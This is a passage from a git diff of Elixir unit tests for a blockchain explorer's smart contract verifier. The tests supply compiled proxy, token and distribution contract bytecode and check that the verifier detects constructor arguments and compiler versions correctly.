0a505ac0479b47d421a4b2fd6a1e69181900360200190a1565b600381565b60066020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600181565b6002602052600090815260409020546001600160a01b031681565b600c5481565b600060405162461bcd60e51b815260040180806020018281038252602e815260200180611bb0602e913960400191505060405180910390fd5b60096020526000908152604090205481565b60046020526000908152604090205481565b600e54610100900460ff166112e6576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b60ff8116600090815260056020526040902054600c54829161130e919063ffffffff61185c16565b61131661172f565b10158015611336575060ff8082166000908152600b602052604090205416155b6113715760405162461bcd60e51b8152600401808060200182810382526029815260200180611bde6029913960400191505060405180910390fd5b60ff821660031480611386575060ff82166004145b80611394575060ff82166001145b806113a2575060ff82166005145b6113e0576040805162461bcd60e51b815260206004820152600a6024820152691ddc9bdb99c81c1bdbdb60b21b604482015290519081900360640190fd5b60ff8083166000908152600a6020526040812054909116611426575060ff8216600090815260096020908152604080832054600a909252909120805460ff191660011790555b6000611431846118b6565b60ff85166000908152600860205260409020549091506114689061145b908363ffffffff61173316565b839063ffffffff61185c16565b9150600082116114bf576040805162461bcd60e51b815260206004820152601960248201527f6e6f20696e7374616c6c6d656e747320617661696c61626c6500000000000000604482015290519081900360640190fd5b60006114cc8584846119a0565b90506114de838263ffffffff61185c16565b925060ff8516600314806114f5575060ff85166004145b156115905760015460ff8616600090815260026020908152604080832054815163a9059cbb60e01b81526001600160a01b03918216600482015260248101899052915194169363a9059cbb93604480840194938390030190829087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b505050506040513d602081101561158857600080fd5b506116219050565b60015460ff8616600090815260026020908152604080832054815163238a3fe160e01b81526001600160a01b03918216600482015260248101899052915194169363238a3fe193604480840194938390030190829087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b505050506040513d602081101561161e57600080fd5b50505b60408051848152336020820152815160ff881692600080516020611b49833981519152928290030190a25050505050565b600681565b600281565b60076020526000908152604090205481565b611676611204565b6116c7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6116d081611a5d565b50565b6001546001600160a01b031681565b6001600160a01b0381166116d0576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b604482015290519081900360640190fd5b4290565b6000826117425750600061178f565b8282028284828161174f57fe5b041461178c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b8f6021913960400191505060405180910390fd5b90505b92915050565b60008082116117eb576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816117f657fe5b04949350505050565b600082821115611856576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561178c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60ff811660009081526007602052604081205481906118de906201518063ffffffff61173316565b60ff8416600090815260056020526040812054600c54929350909161191a91849161190e9163ffffffff61185c16565b9063ffffffff61185c16565b905061192f62015180610a2e8361113a61172f565b60ff851660009081526006602090815260408083205460079092529091205491945090611962908563ffffffff61185c16565b11156119995760ff84166000908152600760209081526040808320546006909252909120546119969163ffffffff6117ff16565b92505b5050919050565b60ff831660009081526004602052604081205481906119c5908563ffffffff6117ff16565b60ff86166000908152600460209081526040808320939093556007905220546119f4908463ffffffff61185c16565b60ff861660009081526007602081815260408084208590556006825290922054915211611a555760ff851660009081526004602052604090205415611a4c575060ff8416600090815260046020526040812080549190555b611a5585611afd565b949350505050565b6001600160a01b038116611aa25760405162461bcd60e51b8152600401808060200182810382526026815260200180611b696026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60ff166000908152600b60205260409020805460ff19166001179055565b3b15159056fe666f72206e6f77206f6e6c79206f776e65722063616e2063616c6c2074686973206d6574686f64a8b65b82b2ff2a955e75c1bfa6a0e92aafb764156295da77a0a4c714f3895c724f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7773656e64696e6720746f6b656e7320746f207468697320636f6e7472616374206973206e6f7420616c6c6f776564696e7374616c6c6d656e747320617265206e6f742061637469766520666f72207468697320706f6f6ca265627a7a723058208fc7fe0d6f40178495c4e655627ac8a6bc837eb89686042a07161f078a2ea04464736f6c634300050a0032c3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4da15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054cc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f383ec6a1f0257b830b5e016457c9cf1435391bf56cc98f369a58a54fe93772465ee60d0579bcffd98e668647d59fec1ff86a7fb340ce572e844f234ae73a6918f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77405aad32e1adbac89bb7f176e338b8fc6e994ca210c9bb7bdca249b465942250cbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af00000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d0000000000000000000000003cfe51b61e25750ab1426b0072e5d0cc5c30aafa0000000000000000000000000218b706898d234b85d2494df21eb0677eaea91800000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d" + + contract_address = insert(:contract_address, contract_code: bytecode) - test "verification is successful if proper nightly version of compiler ~0.6.0" do - bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8 = - "0x608060405234801561001057600080fd5b5060405161026a38038061026a8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101ce8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea264697066735822122029b5dde5889a195ed02cebb1a638ae3754be34464b9a2bc8b48b6286636031fb64736f6c637826302e362e312d6e696768746c792e323032302e312e322b636f6d6d69742e64303832623962380057" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8) - bytecode_construtor_arguments = "#{bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_6, - "compiler_version" => "v0.6.1-nightly.2020.1.2+commit.d082b9b8", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.5.10+commit.5a6ea5b1", + "evm_version" => "default", + "name" => "Distribution", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "00000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d0000000000000000000000003cfe51b61e25750ab1426b0072e5d0cc5c30aafa0000000000000000000000000218b706898d234b85d2494df21eb0677eaea91800000000000000000000000086edd0c110d1fc7f8a5e1108623b3b1b4e3740f90000000000000000000000000df05adac0159e215111696339ad4998e5871b3d" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end + + test "another failed constructor args verification" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_with_constructor_args.sol" + |> File.read!() + + bytecode = + "0x60806040523661001357610011610017565b005b6100115b61002761002261005e565b610096565b565b606061004e838360405180606001604052806027815260200161024c602791396100ba565b9392505050565b3b151590565b90565b60006100917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100b5573d6000f35b3d6000fd5b6060833b61011e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013991906101cc565b600060405180830381855af49150503d8060008114610174576040519150601f19603f3d011682016040523d82523d6000602084013e610179565b606091505b5091509150610189828286610193565b9695505050505050565b606083156101a257508161004e565b8251156101b25782518084602001fd5b8160405162461bcd60e51b815260040161011591906101e8565b600082516101de81846020870161021b565b9190910192915050565b600060208252825180602084015261020781604085016020870161021b565b601f01601f19169190910160400192915050565b60005b8381101561023657818101518382015260200161021e565b83811115610245576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209b8470f06e8a3960c912103fc2be177edaad69584ee3c7d2809ee737e79408e764736f6c63430008020033" + + contract_creation_code = + "0x6080604052604051610772380380610772833981016040819052610022916102f7565b61004d60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd61040f565b60008051602061072b8339815191521461007757634e487b7160e01b600052600160045260246000fd5b6100838282600061008a565b5050610474565b610093836100f4565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806100d45750805b156100ef576100ed83836101b460201b6100291760201c565b505b505050565b610107816101e060201b6100551760201c565b61016e5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b8061019360008051602061072b83398151915260001b6101e660201b61005b1760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606101d9838360405180606001604052806027815260200161074b602791396101e9565b9392505050565b3b151590565b90565b6060833b6102485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610165565b600080856001600160a01b03168560405161026391906103c0565b600060405180830381855af49150503d806000811461029e576040519150601f19603f3d011682016040523d82523d6000602084013e6102a3565b606091505b5090925090506102b48282866102be565b9695505050505050565b606083156102cd5750816101d9565b8251156102dd5782518084602001fd5b8160405162461bcd60e51b815260040161016591906103dc565b60008060408385031215610309578182fd5b82516001600160a01b038116811461031f578283fd5b60208401519092506001600160401b038082111561033b578283fd5b818501915085601f83011261034e578283fd5b8151818111156103605761036061045e565b604051601f8201601f19908116603f011681019083821181831017156103885761038861045e565b816040528281528860208487010111156103a0578586fd5b6103b1836020830160208801610432565b80955050505050509250929050565b600082516103d2818460208701610432565b9190910192915050565b60006020825282518060208401526103fb816040850160208701610432565b601f01601f19169190910160400192915050565b60008282101561042d57634e487b7160e01b81526011600452602481fd5b500390565b60005b8381101561044d578181015183820152602001610435565b838111156100ed5750506000910152565b634e487b7160e01b600052604160045260246000fd5b6102a8806104836000396000f3fe60806040523661001357610011610017565b005b6100115b61002761002261005e565b610096565b565b606061004e838360405180606001604052806027815260200161024c602791396100ba565b9392505050565b3b151590565b90565b60006100917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100b5573d6000f35b3d6000fd5b6060833b61011e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013991906101cc565b600060405180830381855af49150503d8060008114610174576040519150601f19603f3d011682016040523d82523d6000602084013e610179565b606091505b5091509150610189828286610193565b9695505050505050565b606083156101a257508161004e565b8251156101b25782518084602001fd5b8160405162461bcd60e51b815260040161011591906101e8565b600082516101de81846020870161021b565b9190910192915050565b600060208252825180602084015261020781604085016020870161021b565b601f01601f19169190910160400192915050565b60005b8381101561023657818101518382015260200161021e565b83811115610245576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209b8470f06e8a3960c912103fc2be177edaad69584ee3c7d2809ee737e79408e764736f6c63430008020033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564000000000000000000000000569e7b559a3af9b2350b8db2afd8977b8bd0517200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000217373ab5e0082b2ce622169672eca6f4462319c00000000000000000000000000000000000000000000000000000000" + + contract_address = insert(:contract_address, contract_code: bytecode) - test "verification is failed if wrong nightly version of compiler ~0.5.11" do - bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753 = - "0x608060405234801561001057600080fd5b5060405161026b38038061026b8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101cf8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820f5be0e6763c440be759726643bdd4b03370e9f1b58fd803ab18b0b4f2aa58b7664736f6c637828302e352e31312d6e696768746c792e323031392e362e32352b636f6d6d69742e31636338343735330058" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753) - bytecode_construtor_arguments = "#{bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.11-nightly.2019.8.10+commit.f5f2bbb2", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - response = Verifier.evaluate_authenticity(contract_address.hash, params) - assert {:error, :compiler_version} = response + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.2+commit.661d1103", + "evm_version" => "default", + "name" => "ERC1967Proxy", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "000000000000000000000000569e7b559a3af9b2350b8db2afd8977b8bd0517200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000217373ab5e0082b2ce622169672eca6f4462319c00000000000000000000000000000000000000000000000000000000" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end end - end - describe "regression tests for https://github.com/blockscout/blockscout/pull/5166" do - test "issue 5114" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5114.sol" - |> File.read!() - - bytecode = - "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033" - - contract_creation_code = - "0x608060405260405162000f4038038062000f408339810160408190526200002691620004d4565b82816200005560017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd62000603565b60008051602062000ef9833981519152146200008157634e487b7160e01b600052600160045260246000fd5b6200008f82826000620000ff565b50620000bf905060017fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610462000603565b60008051602062000ed983398151915214620000eb57634e487b7160e01b600052600160045260246000fd5b620000f68262000170565b5050506200066c565b6200010a83620001cb565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806200014c5750805b156200016b576200016983836200029360201b6200026c1760201c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200019b620002c2565b604080516001600160a01b03928316815291841660208301520160405180910390a1620001c881620002fb565b50565b620001e1816200038b60201b620002981760201c565b620002495760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806200027260008051602062000ef983398151915260001b6200039560201b620002141760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060620002bb838360405180606001604052806027815260200162000f196027913962000398565b9392505050565b6000620002ec60008051602062000ed983398151915260001b6200039560201b620002141760201c565b546001600160a01b0316905090565b6001600160a01b038116620003625760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840162000240565b806200027260008051602062000ed983398151915260001b6200039560201b620002141760201c565b803b15155b919050565b90565b6060620003a5846200038b565b620004025760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840162000240565b600080856001600160a01b0316856040516200041f9190620005b0565b600060405180830381855af49150503d80600081146200045c576040519150601f19603f3d011682016040523d82523d6000602084013e62000461565b606091505b509092509050620004748282866200047e565b9695505050505050565b606083156200048f575081620002bb565b825115620004a05782518084602001fd5b8160405162461bcd60e51b8152600401620002409190620005ce565b80516001600160a01b03811681146200039057600080fd5b600080600060608486031215620004e9578283fd5b620004f484620004bc565b92506200050460208501620004bc565b60408501519092506001600160401b038082111562000521578283fd5b818601915086601f83011262000535578283fd5b8151818111156200054a576200054a62000656565b604051601f8201601f19908116603f0116810190838211818310171562000575576200057562000656565b816040528281528960208487010111156200058e578586fd5b620005a183602083016020880162000627565b80955050505050509250925092565b60008251620005c481846020870162000627565b9190910192915050565b6000602082528251806020840152620005ef81604085016020870162000627565b601f01601f19169190910160400192915050565b6000828210156200062257634e487b7160e01b81526011600452602481fd5b500390565b60005b83811015620006445781810151838201526020016200062a565b83811115620001695750506000910152565b634e487b7160e01b600052604160045260246000fd5b61085d806200067c6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.2+commit.661d1103", - "evm_version" => "default", - "name" => "TransparentUpgradeableProxy", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil - end + describe "another regression tests" do + test "accepting correct constructor args" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5114.sol" + |> File.read!() - test "issue 5127" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5127.sol" - |> File.read!() - - bytecode = - "0x60806040523480156200001157600080fd5b5060405162001bfc38038062001bfc8339810160408190526200003491620002d6565b6040805180820182526009808252682ca2a9902a37b5b2b760b91b6020808401918252845180860190955260038086526259455360e81b91860191909152600080546001600160a01b03808c16610100026001600160a81b03199092169190911790915560018054828b166001600160a01b03199182161790915560028054928a169290911691909117905585905582519293926012928992899289928992620000de9262000213565b508551620000f490600a90602089019062000213565b5050600b805460ff90951660ff199095169490941790935550620001209350339250889150506200012b565b505050505062000398565b6001600160a01b038216620001865760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600860008282546200019a919062000334565b90915550506001600160a01b03821660009081526006602052604081208054839290620001c990849062000334565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001604051